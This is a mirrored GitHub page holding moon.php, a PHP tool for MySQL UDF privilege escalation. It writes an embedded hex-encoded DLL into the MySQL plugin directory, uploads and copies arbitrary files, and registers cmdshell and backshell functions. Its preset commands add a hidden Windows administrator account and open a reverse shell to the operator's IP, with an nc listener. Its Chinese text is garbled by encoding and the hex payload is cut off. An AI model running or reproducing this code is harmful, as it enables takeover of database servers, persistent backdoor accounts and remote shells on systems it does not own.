Mirrors/webshell
2
0
Fork 0
mirror of https://github.com/tennc/webshell synced 2024-11-22 19:23:05 +00:00
Code Issues Projects Releases Packages Wiki Activity
webshell/net-friend/php/moon.php

292 lines
119 KiB
PHP
Raw Normal View History

update net-friend
2013-06-20 01:50:18 +00:00
<?php
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
session_start();
if($_GET['action']=='logout'){
foreach($_COOKIE["connect"] as $key=>$value){
setcookie("connect[$key]","",time()-1);
}
header("Location:".$_SERVER["SCRIPT_NAME"]);
}
if(!empty($_POST['submit'])){
setcookie("connect");
setcookie("connect[host]",$_POST['host']);
setcookie("connect[name]",$_POST['name']);
setcookie("connect[pass]",$_POST['pass']);
setcookie("connect[dbname]",$_POST['dbname']);
echo "<script>location.href='?action=connect'</script>";
}
/*
foreach($_COOKIE["connect"] as $key=>$value){
echo $key.":".$value."<br>";
}
*/
if(empty($_GET["action"])){
?>
<form name="form1" method="post" action="?action=connect">
<div align="center">
<table width="294" height="140" border="1" cellpadding="1" cellspacing="5">
<caption>
<h5><EFBFBD><EFBFBD><EFBFBD>Ѿջ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>->MYSQL<EFBFBD>߰汾<EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD></h5>
</caption>
<tr>
<td width="66">host:</td>
<td width="270"><input name="host" type="text" id="host" size="34"></td>
</tr>
<tr>
<td>name:</td>
<td><input name="name" type="text" id="name" size="34"></td>
</tr>
<tr>
<td>pass:</td>
<td><input name="pass" type="text" id="pass" size="34"></td>
</tr>
<tr>
<td>dbname:</td>
<td><input name="dbname" type="text" id="dbname" size="34"></td>
</tr>
<tr>
<td colspan="2"><div align="center">
<input type="submit" name="submit" value="<EFBFBD>ύ">
&nbsp;
<input type="reset" name="Submit" value="<EFBFBD><EFBFBD><EFBFBD><EFBFBD>">
</div></td>
</tr>
</table>
</div>
</form>
<div align="center"><strong>Copyright By Dark'mOon 2011</strong><br>
Blog:<a href="http://www.moonhack.org" target="_blank">www.moonhack.org</a> Bbs:<a href="http://www.90sec.org" target="_blank">www.90sec.org</a>
<a href="http://www.moonhack.org" target="_blank"><EFBFBD>汾<EFBFBD><EFBFBD><EFBFBD><EFBFBD></a>
</div>
<?php
exit;
}
$link=@mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["name"],$_COOKIE["connect"]["pass"]);
if(!$link){
echo "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>.".mysql_error()."<a href='javascript:history.back()'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a></script>";
exit;
}else{
echo "<EFBFBD><EFBFBD><EFBFBD>ӳɹ<EFBFBD><br>";
$str=mysql_get_server_info();
echo 'MYSQL<51>汾:'.$str."<br>";
echo "<hr>";
if($str[2]>=1){
$sql="SHOW VARIABLES LIKE '%plugin_dir%'";
$row=mysql_query($sql);
$rows=mysql_fetch_row($row);
$pa=str_replace('\\','/',$rows[1]);
$path=$_SESSION['path']=$pa."/moonudf.dll";
}else{
$path=$_SESSION['path']='C:/WINDOWS/moonudf.dll';
}
}
$conn=mysql_select_db($_COOKIE["connect"]["dbname"],$link);
if(!$conn){
echo "<EFBFBD><EFBFBD><EFBFBD>ݲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.".mysql_error()."<a href='javascript:history.back()'><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a></script>";
exit;
}else{
echo "<EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>--".$_COOKIE['connect']['dbname']."--<2D><><EFBFBD><EFBFBD><br>";
}
echo '<a href="?action=logout"><3E><><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD></a>';
echo '<form action="" method="post" enctype="multipart/form-data" name="form1">';
echo '<table width="297" height="53" border="1">';
echo '<tr>';
echo '<td colspan="2"><3E><>ǰ·<C7B0><C2B7>:';
echo "<input name='p' type='text' size='27' value='".dirname(__FILE__)."\'></td>";
echo '</tr>';
echo '<tr>';
echo '<td width="235"><input type="file" name="file"></td>';
echo '<td width="46"><input type="submit" name="subfile" value="<22>ϴ<EFBFBD><CFB4>ļ<EFBFBD>"></td>';
echo '</tr>';
echo '</table>';
echo'</form>';
if($_POST['subfile']){
$upfile=$_POST['p'].$_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name']))
{
if(!move_uploaded_file($_FILES['file']['tmp_name'],$upfile)){
echo '<27>ϴ<EFBFBD>ʧ<EFBFBD><CAA7>';
}else{
echo '<27>ϴ<EFBFBD><CFB4>ɹ<EFBFBD>,·<><C2B7>Ϊ'.$upfile;
}
}
}
echo '<hr>';
echo '<form action="?action=dll" method="post"/>';
echo '<table cellpadding="1" cellspacing="2">';
echo '<tr><td>·<><C2B7>Ŀ¼Ϊ</td></tr>';
echo "<tr><td><input type='text' name='dll' size='40' value='$path'/></td>";
echo '<td><input type="submit" name="subudf" value="<22><><EFBFBD><EFBFBD>udf"/></td></tr>';
echo '</table>';
echo '</form>';
echo '<hr>';
if($_POST['subudf']){
mysql_query('DROP TABLE Temp_udf');
$query=mysql_query('CREATE TABLE Temp_udf(udf BLOB);');
if(!$query){
echo '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>Temp_udfʧ<66><CAA7><EFBFBD><EFBFBD><EFBFBD>鿴ʧ<E9BFB4><CAA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'.mysql_error();
}else{
$shellcode=udfcode();
$query="INSERT into Temp_udf values (CONVERT($shellcode,CHAR));";
if(!mysql_query($query)){
echo 'udf<64><66><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7><EFBFBD><EFBFBD><EFBFBD>鿴ʧ<E9BFB4><CAA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'.mysql_error();
}else{
$query="SELECT udf FROM Temp_udf INTO DUMPFILE '".$path."';" ;
if(!mysql_query($query)){
echo 'udf<64><66><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7><EFBFBD><EFBFBD><EFBFBD>鿴ʧ<E9BFB4><CAA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'.mysql_error();
}else{
mysql_query('DROP TABLE Temp_udf');
echo '<27><><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD>';
}
}
}
}
echo '<form name="form2" method="post" action="">';
echo '<table width="300" height="59" border="1.2" cellpadding="0" cellspacing="1">';
echo '<tr>';
echo '<td width="83"><3E>ļ<EFBFBD>·<EFBFBD><C2B7>:</td>';
echo '<td width="201"><input name="diy" type="text" id="diy" size="27"></td>';
echo '</tr>';
echo '<tr>';
echo '<td>Ŀ<><C4BF>·<EFBFBD><C2B7>:</td>';
echo '<td><input name="diypath" type="text" id="diypath" size="27" value="C:/WINDOWS/diy.dll"></td>';
echo '</tr>';
echo '<tr>';
echo '<td colspan="2">';
echo '<div align="right">';
echo '<input type="submit" name="Submit2" value="<22>Զ<EFBFBD><D4B6>嵼<EFBFBD><E5B5BC>">';
echo '</div></td></tr>';
echo '</table>';
echo '</form>';
if(!empty($_POST['diy'])){
$diy=str_replace('\\','/',$_POST['diy']);
$diypath=str_replace('\\','/',$_POST['diypath']);
mysql_query('DROP TABLE diy_dll');
$s='create table diy_dll (cmd LONGBLOB)';
if(!mysql_query($s)){
echo '<27><><EFBFBD><EFBFBD>diy_dll<6C><6C>ʧ<EFBFBD><CAA7>'.mysql_error();
}else{
$s="insert into diy_dll (cmd) values (hex(load_file('$diy')))";
if(!mysql_query($s)){
echo "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>".mysql_error();
}else{
$s="SELECT unhex(cmd) FROM diy_dll INTO DUMPFILE '$diypath'";
if(!mysql_query($s)){
echo "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD>dll<EFBFBD><EFBFBD><EFBFBD><EFBFBD>".mysql_error();
}else{
mysql_query('DROP TABLE diy_dll');
echo "<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD>dll<br>";
}
}
}
}
echo "<hr>";
echo '<27>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD><EFBFBD>:<br>';
echo '<form action="" method="post">';
echo '<select name="mysql">';
echo '<option value="create function cmdshell returns string soname \'moonudf.dll\'"><3E><><EFBFBD><EFBFBD>cmdshell</option>';
echo '<option value="select cmdshell(\'net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add\')"><3E><><EFBFBD>ӳ<EFBFBD><D3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա</option>';
echo '<option value="select cmdshell(\'net user\')"><3E>鿴<EFBFBD>û<EFBFBD></option>';
echo '<option value="select cmdshell(\'netstat -an\')"><3E>鿴<EFBFBD>˿<EFBFBD></option>';
echo '<option value="select name from mysql.func"><3E>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>';
echo '<option value="delete from mysql.func where name=\'cmdshell\'">ɾ<><C9BE>cmdshell</option>';
echo '<option value="create function backshell returns string soname \'moonudf.dll\'"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>';
echo '<option value="select backshell(\''.$_SERVER["REMOTE_ADDR"].'\',12345)">ִ<>з<EFBFBD><D0B7><EFBFBD></option>';
echo '<option value="delete from mysql.func where name=\'backshell\'">ɾ<><C9BE>backshell</option>';
echo '</select>';
echo '<input type="submit" value="<22>ύ" />';
echo '</form>';
echo '<form action="?action=sql" method="post">';
echo '<27>Զ<EFBFBD><D4B6><EFBFBD>SQL<51><4C><EFBFBD><EFBFBD>:<br>';
echo '<textarea name="mysql" cols="40" rows="6"></textarea>';
echo '<input type="submit" value="ִ<><D6B4>" />';
echo '</form>';
echo "<EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><EFBFBD><EFBFBD>:<br>";
echo '<textarea cols="50" rows="10" id="contactus" name="contactus">';
if(!empty($_POST['mysql'])){
echo "SQL<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:".$sql=$_POST['mysql']."\r\n";
$sql=mysql_query($sql) or die(mysql_error());
while($rows=@mysql_fetch_row($sql)){
foreach($rows as $value){
echo $value;
}
}
}
echo '</textarea><br>';
echo '<hr>';
print("
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><br>
MYSQL=>5.1<br>
<EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD>߰汾mysql<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>mysql5.5<EFBFBD><EFBFBD><br>
MYSQL<=5.0Ĭ<EFBFBD><EFBFBD>ΪϵͳĿ¼<br>
<EFBFBD>Զ<EFBFBD><EFBFBD>嵼<EFBFBD><EFBFBD>dll <br>
Ĭ<EFBFBD><EFBFBD>udf<EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br>
cmdshell ִ<EFBFBD><EFBFBD>cmd;<br>
downloader <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>浽ָ<EFBFBD><EFBFBD>Ŀ¼;<br>
open3389 ͨ<EFBFBD>ÿ<EFBFBD>3389<EFBFBD>ն˷<EFBFBD><EFBFBD><EFBFBD>,<EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>(<EFBFBD><EFBFBD><EFBFBD>Ķ˿<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>);<br>
backshell <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shell;<br>
ProcessView ö<EFBFBD><EFBFBD>ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<br>
KillProcess <EFBFBD><EFBFBD>ָֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<br>
regread <EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<br>
regwrite дע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<br>
shut <EFBFBD>ػ<EFBFBD>,ע<EFBFBD><EFBFBD>,<EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<br>
about ˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<br>
Ĭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӹ<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD>˺<EFBFBD>$darkmoon <EFBFBD><EFBFBD><EFBFBD><EFBFBD>123456<br>
Ĭ<EFBFBD>Ϸ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>12345<br>
<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD><EFBFBD>մ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ЧҪmysql<EFBFBD><EFBFBD><EFBFBD><EFBFBD><br>
<EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD>udf <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>п<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD>udf˵<EFBFBD><EFBFBD><br>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br>
create function cmdshell returns string soname 'moonudf.dll'<br>
select cmdshell('<27><><EFBFBD><EFBFBD>')<br>
select backshell('<27><><EFBFBD><EFBFBD>ip',12345)<br>
nc -l -p 12345
");
function udfcode(){
return "0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c001009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e557061636b000000b00100001000000000000000000000000000000000000000000000600000e02e727372630000000050010000c00100e6da000000020000000000000000000000000000600000e088010010e89a02101b0000000e000000001000106b970210b7970210ba970210c8970210a3970210fc0f0010de960210e0960210809502101dba0110ed970210ffaf0110d2960210000400007c070000c40b0000b30200006604000090c0011000000000ffffffff01000000010000000100000001000000000000000000000000000000010000008800008018000080000000000000000000000000000002006500000038000080660000006000008000000000000000000000000000000100040800005000000090000100004400000000000000000000000000000000000000000000000001000408000078000000904401005c3c000000000000000000000300420049004e00459398edb4853493541907b2de1fcbd640cd0773df2017d5f39748433f6d90c556f2b1c13f1be3bcb417f756a33186e453b17faf31e8157911b03da9aaf41f2277afffec07571bfae8214b0ff18af2f7c0ad2d95a1ff0f487658e587923bc1ce9d2c2698c74b940c5842bf55c7da2026563c174c45c6c5e08e95b030390ef0886bd124043aed5b1631b138955065fa05fbfcc1c0b81636c51c7f18bccc846ac8305f5c5134fd92a3e9cb2bb5d99ee1e21a6f5d2929597c59b61e8925c1675138746f1f549d1b8a0c35b7dab30b46a401737162d316fb50723e8a98ca5d6d298259015fe6e1c0a402790e15a965807b488c73e6915ffd6e57d333c0d86ef3a562e0bf0bccbe4bc7ccb560bc2df75d593904f638eae6a964c33f4e123a1d3c213b184373bf34c66ed68b368316156e32f6fa63e02add3b03893f73af8abd1099c48c1d0c886314167008ef255d5c2c3539fb781d6d39aa432d654c702f15df0a339530889adfefde4b9df29d2e8fa7e4317fda1b0588a22265eb53c317bc6ea94fa1981968d5a60921ff60f9e9559123aeaa8d1e91e38fb1a2fb1d2075454e8ef226538ed8307db2c99cd396b5c6da829569c3875f317a4bff429b0528d204af4284fc05207901d48e52b386e5d44c69a2e8e3086f137f1d0694ecd619ecc97af83a97d5a0598701b386bd704864c72b3858824fc94082da933d5fadb23ef3dee6528cd4cb2eefe2f2b03d17857940d70222d541b2523f4e7d5b8ee46caba89830d664defb08f798e83818cde2701b8c5d37fc6c5c045ae468efca8b8d5b62b60811c21dae6b86deffa3824e7581435c0bc67555c2d498047554b52d0bfc909911e94ce5d6d3a72659b0ee25f2b40be7d239115256d8c2687afc7e075a2557f974d9130d76e09955235ed4afbc03891d8cc489c8a6f0aa00cfa41ceffd29df70edd17679477c4edd29023c807a55e8dfe614fefe44ad759cfca628d9da21b68e2d6a7ab33d62b175fb858c94158923278f256e96eff885e3eafa12b09ecabfa54d523a3c33270510fd821a0f56e24d3bfaa815a6bd4e2eba52e52a940037728e2cbcd8278fe714384a4bfc887797b071bb440b010a9d0db60cbacee05907b7b08e20dba7f45ffd21265bc47086f8275c1c5071afaeb7ce0336e0a5facf0a7923597c7f4ee7b54512b38608c8ce06acd05cfcdd68ec58f288889ef615623409bc88dd3b09b8be22fcc199755426b4b0704ec21ae1a3e7efe21cf6952456f3743d8d76e1d02e7f7815ea30feb20f279fa9cf827d7618c1c182be35a5ab2eb9f611057b493eff526a75513347a1dce859f1d8d5cc9e842f55f82211b2fa26ce53c5f133afd31531c50324a5429b74fab0746eed031acb0d02344e1b495bca244ae6eba4dcd3da28419a064c22e895880fd2485c3e6861b6e06a4e43959b9d0633774ea85692b12408f6867903f8b9bf790973680440d4822238690617af451d0eebf942d4c98637e9ba092b38dcdc608f330722cc255a4feb5d2a3cb268518ebf43231d9630ac95ae22ff0b8640335febcaf6a3066be83f03673636639e7cb025963d4071886ef072bf9f6f5ad0e0a407734b77320cb1fc6a6a07d14d36403ac1b849eba998b5f64d59ecfa4e30200d84d236a12b1b11acae3e4d74ca5368657f93b4d80cc5356c5537ffab7d3f792a03912a01d94c03f4f097824586708ecc7cbd1db4b7e24a0f2e45121629b9c2bc92716b790246c4a4159fd9e4958fc13a4a72c1d799078d601f3eba6457ae19a68877841d343175f3b692ec219c3a059931421596335af3121670ef9602fce94de822922d7f1c357f7719b2a63de4a0c9b648297326b5a32082462e6bd83457f5c415a418209b4deecbb66f26383d9244f08e0aee60659808dbd2a4744865f6b6a0950ed88138a0c6496245c84d60caabef5facc467f114dd3b695e39fb0
}
?>
Reference in a new issue Copy permalink